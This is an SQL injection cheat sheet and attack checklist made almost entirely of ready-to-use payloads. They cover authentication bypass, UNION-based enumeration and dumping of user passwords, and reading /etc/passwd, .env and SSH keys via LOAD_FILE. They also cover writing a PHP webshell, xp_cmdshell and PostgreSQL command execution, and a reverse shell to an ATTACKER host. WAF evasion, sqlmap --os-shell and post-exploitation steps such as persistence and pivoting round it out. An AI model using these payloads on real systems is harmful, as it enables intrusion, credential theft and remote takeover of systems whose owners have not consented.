Cheatsheet

Detection Payloads

'
"
')
")
'-- -
' OR 1=1-- -
' AND 1=1-- -
' AND 1=2-- -
' OR SLEEP(5)-- -
1 OR 1=1

Comments (MySQL)

-- -        (dash dash space dash — URL-safe)
%23         (URL-encoded #)
/* ... */   (block comment)

Authentication Bypass

admin'-- -
admin'#
' OR '1'='1
' OR 1=1-- -
' OR 1=1 LIMIT 1-- -
" OR ""="
') OR ('1'='1

Column Counting

' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY N-- -           (increment until error)
' UNION SELECT 1-- -
' UNION SELECT 1,2-- -
' UNION SELECT 1,2,3-- -

Fingerprinting

' UNION SELECT @@version, NULL, NULL-- -               (MySQL / MSSQL)
' UNION SELECT version(), NULL, NULL-- -               (PostgreSQL)
' UNION SELECT banner, NULL FROM v$version-- -         (Oracle)
' UNION SELECT sqlite_version(), NULL-- -              (SQLite)
' UNION SELECT @@hostname, @@datadir, current_user()-- -

MySQL Enumeration

-- databases
' UNION SELECT NULL, schema_name, NULL FROM information_schema.schemata-- -
 
-- tables in current DB
' UNION SELECT NULL, table_name, NULL FROM information_schema.tables WHERE table_schema=database()-- -
 
-- columns in a table
' UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE table_name='users'-- -
 
-- dump
' UNION SELECT NULL, username, password FROM users-- -
' UNION SELECT NULL, GROUP_CONCAT(username,':',password), NULL FROM users-- -

MSSQL Enumeration

' UNION SELECT name, NULL, NULL FROM master..sysdatabases-- -
' UNION SELECT name, NULL, NULL FROM sysobjects WHERE xtype='U'-- -
' UNION SELECT name, NULL, NULL FROM syscolumns WHERE id=OBJECT_ID('users')-- -

PostgreSQL Enumeration

' UNION SELECT datname, NULL FROM pg_database-- -
' UNION SELECT table_name, NULL FROM information_schema.tables-- -
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users'-- -

Reading Files (MySQL)

' UNION SELECT NULL, LOAD_FILE('/etc/passwd'), NULL-- -
' UNION SELECT NULL, LOAD_FILE('/etc/apache2/apache2.conf'), NULL-- -
' UNION SELECT NULL, LOAD_FILE(0x2f6574632f706173737764), NULL-- -   # hex-encoded path

Writing Webshell (MySQL)

' UNION SELECT NULL, "<?php system($_GET['c']); ?>", NULL
  INTO OUTFILE '/var/www/html/s.php'-- -

MSSQL RCE

'; EXEC xp_cmdshell 'whoami'-- -
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
   EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;-- -

PostgreSQL RCE

'; COPY (SELECT 1) TO PROGRAM 'id'-- -
'; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'-- -

Boolean-Blind Extraction

' AND SUBSTRING((SELECT password FROM users WHERE id=1),1,1)='a'-- -
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>96-- -
' AND (SELECT COUNT(*) FROM users)>0-- -

Time-Based Blind

' AND IF(1=1, SLEEP(3), 0)-- -                       # MySQL
' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(3), 0)-- -
'; WAITFOR DELAY '0:0:5'-- -                         # MSSQL
'; SELECT pg_sleep(5)-- -                             # PostgreSQL
' AND (SELECT COUNT(*) FROM (SELECT SLEEP(5))x)-- -   # alternative

WAF Bypass

SeLeCt                     # case toggling
SELSELECTECT               # keyword doubling
SEL/**/ECT                 # inline comment
UNION%09SELECT             # tab
UNION%0ASELECT             # newline
/*!50000SELECT*/           # MySQL version comment
0x61646D696E               # hex literal for 'admin'
LIKE 'admin'               # alternative to =
BETWEEN 1 AND 1            # alternative to =

SQLMap Quick Reference

sqlmap -u "http://target/?id=1"
sqlmap -u "http://target/?id=1" --dbs
sqlmap -u "http://target/?id=1" -D <db> --tables
sqlmap -u "http://target/?id=1" -D <db> -T <table> --dump
sqlmap -r request.txt --level=5 --risk=3
sqlmap -u "http://target/?id=1" --tamper=space2comment,charencode,randomcase
sqlmap -u "http://target/?id=1" --os-shell

Common Files to Read via LOAD_FILE

/etc/passwd
/etc/hostname
/etc/hosts
/etc/apache2/apache2.conf
/etc/apache2/sites-enabled/000-default.conf
/etc/nginx/nginx.conf
/etc/nginx/sites-enabled/default
/etc/mysql/my.cnf
/var/www/html/config.php
/var/www/html/.env
/var/www/html/wp-config.php
/proc/self/environ
/root/.ssh/id_rsa

Common Web Roots

/var/www/html/
/var/www/
/srv/www/
/usr/share/nginx/html/
/home/<user>/public_html/
C:\inetpub\wwwroot\

Checklist

Detection

  • Identify every parameter that reaches a query (GET, POST, cookies, headers, JSON bodies)
  • Test each with a single quote — look for SQL error messages
  • Test boolean payloads (AND 1=1 vs AND 1=2)
  • Test time-based payload (OR SLEEP(5))
  • Test numeric contexts without quotes
  • Try different string terminators: ', ", ), '), ")
  • Determine the injection context by looking at the error or the query reconstruction

Fingerprinting

  • Identify the DBMS (MySQL / MSSQL / PostgreSQL / Oracle / SQLite)
  • Get the version string
  • Identify current user and host
  • Check for stacked query support (;)

Authentication Bypass

  • Try admin'-- - in the username field
  • Try ' OR '1'='1 in the password field
  • Try ' OR 1=1 LIMIT 1-- - (returns first user, usually admin)
  • Try variants with different quote types if the default fails

UNION Exploitation

  • Count columns with ORDER BY incrementing until error
  • Confirm column count with UNION SELECT 1,2,3,...
  • Identify which column positions are displayed on the page
  • Enumerate databases via information_schema.schemata
  • Enumerate tables in target DB
  • Enumerate columns in target table
  • Dump data from interesting tables (users, credentials, api_keys)
  • Use GROUP_CONCAT or CONCAT to pack multiple rows when the app shows only one

Blind Exploitation

  • Boolean-blind: extract DB name char by char with SUBSTRING + ASCII + binary search
  • Time-based: use IF(...,SLEEP(N),0) when no content difference exists
  • Automate with Burp Intruder or a Python script — never do it by hand
  • If both fail, try OOB exfiltration (DNS, HTTP callback)

File System Attacks

  • Check FILE privilege on the DB user
  • Check secure_file_priv restrictions
  • Read /etc/passwd to confirm file-read works
  • Read web server config to find DocumentRoot
  • Read application config files for secrets (.env, config.php)
  • Attempt webshell write via INTO OUTFILE
  • Trigger shell via HTTP request

WAF Encountered

  • Case-toggle keywords (SeLeCt)
  • Insert inline comments (SEL/**/ECT)
  • Try alternate whitespace (%09, %0a)
  • Try keyword doubling (UNIunionON)
  • Try hex encoding for string values
  • Try MySQL version comments (/*!50000SELECT*/)
  • If stuck, switch to SQLMap with --tamper scripts

Post-Exploitation

  • Dump password hashes for offline cracking
  • Look for reused credentials across services (SSH, RDP, cloud)
  • Hunt for API keys, tokens, secrets in app config tables
  • If RCE achieved: upgrade shell, establish persistence, pivot